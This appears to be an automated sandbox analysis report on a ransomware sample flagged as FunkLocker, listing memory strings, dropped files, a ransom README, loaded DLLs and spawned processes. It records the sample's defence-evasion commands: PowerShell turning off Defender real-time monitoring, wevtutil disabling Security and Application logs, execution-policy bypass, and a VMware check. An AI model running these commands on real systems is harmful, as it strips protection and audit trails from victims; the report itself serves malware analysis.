    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/resetpw.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/common
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://m-vnext.sqlazurelabs.com/
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://nexus.officeapps.live.comhttps://nexusrules.officeapps.live.com
    Source: powershell.exe, 00000009.00000002.1471258004.0000022745A48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54754B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://otelrules.azureedge.net/rules/.bundlesdxhelper.exeFailed
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://signup.live.com/signup.aspx
    Source: rZU3xTxOnl.exeString found in binary or memory: https://www.blockchain.com/)
    Source: rZU3xTxOnl.exeString found in binary or memory: https://www.coinbase.com/)
    Source: rZU3xTxOnl.exeString found in binary or memory: https://www.torproject.org/
    Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
    Source: unknownHTTPS traffic detected: 199.232.192.193:443 -> 192.168.2.8:49705 version: TLS 1.2
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: RegisterRawInputDevicesmemstr_e7147c53-8

    Spam, unwanted Advertisements and Ransom Demands

    barindex
    Yara detected FunkLocker Ransomware
    Source: Yara matchFile source: Process Memory Space: rZU3xTxOnl.exe PID: 7768, type: MEMORYSTR
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile created: C:\Windows\System32\VvD5lMoAcR.exeJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile created: C:\Windows\System32\VvD5lMoAcR.exe\:Zone.Identifier:$DATAJump to behavior
    Source: C:\Windows\System32\wevtutil.exeProcess token adjusted: SecurityJump to behavior
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547FDF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameIntegrator.exeB vs rZU3xTxOnl.exe
    Source: rZU3xTxOnl.exeBinary string: Failed to open \Device\Afd\Mio:
    Source: rZU3xTxOnl.exeBinary string: 0\Device\Afd\Mio
    Source: rZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Microsoft.Vbe.Interop.VBProjectClass
    Source: rZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Microsoft.Vbe.Interop.VBProjectsClass
    Source: classification engineClassification label: mal100.rans.evad.winEXE@21/163@1/1
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile created: C:\Users\user\Desktop\README-jbiEF8FBed.mdJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_av0epsea.f1l.ps1Jump to behavior
    Source: rZU3xTxOnl.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE'
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547BE9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE SchemaVersions(schema_id INTEGER PRIMARY KEY NOT NULL, SchemaVersion INTEGER NOT NULL, GitSHA1 TEXT NOT NULL , UNIQUE (SchemaVersion, GitSHA1));
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
    Source: rZU3xTxOnl.exeVirustotal: Detection: 63%
    Source: rZU3xTxOnl.exeReversingLabs: Detection: 68%
    Source: rZU3xTxOnl.exeString found in binary or memory: /load_hpack; header malformed -- pseudo not at head of block
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile read: C:\Users\user\Desktop\rZU3xTxOnl.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\rZU3xTxOnl.exe "C:\Users\user\Desktop\rZU3xTxOnl.exe"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\net.exe "net" session
    Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vmware"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "wevtutil sl Security /e:false"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "wevtutil sl Application /e:false"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wevtutil.exe "C:\Windows\system32\wevtutil.exe" sl Application /e:false
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wevtutil.exe "C:\Windows\system32\wevtutil.exe" sl Security /e:false
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\net.exe "net" sessionJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vmware"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "wevtutil sl Security /e:false"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "wevtutil sl Application /e:false"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"Jump to behavior
    Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 sessionJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wevtutil.exe "C:\Windows\system32\wevtutil.exe" sl Security /e:falseJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wevtutil.exe "C:\Windows\system32\wevtutil.exe" sl Application /e:falseJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: vcruntime140.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: schannel.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: mskeyprotect.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: ntasn1.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: ncrypt.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: ncryptsslp.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: cryptnet.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\net.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Windows\System32\net.exeSection loaded: wkscli.dllJump to behavior
    Source: C:\Windows\System32\net.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\net.exeSection loaded: samcli.dllJump to behavior
    Source: C:\Windows\System32\net.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\System32\net.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: samcli.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: dsrole.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: wkscli.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: logoncli.dllJump to behavior
    Source: C:\Windows\System32\net1.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
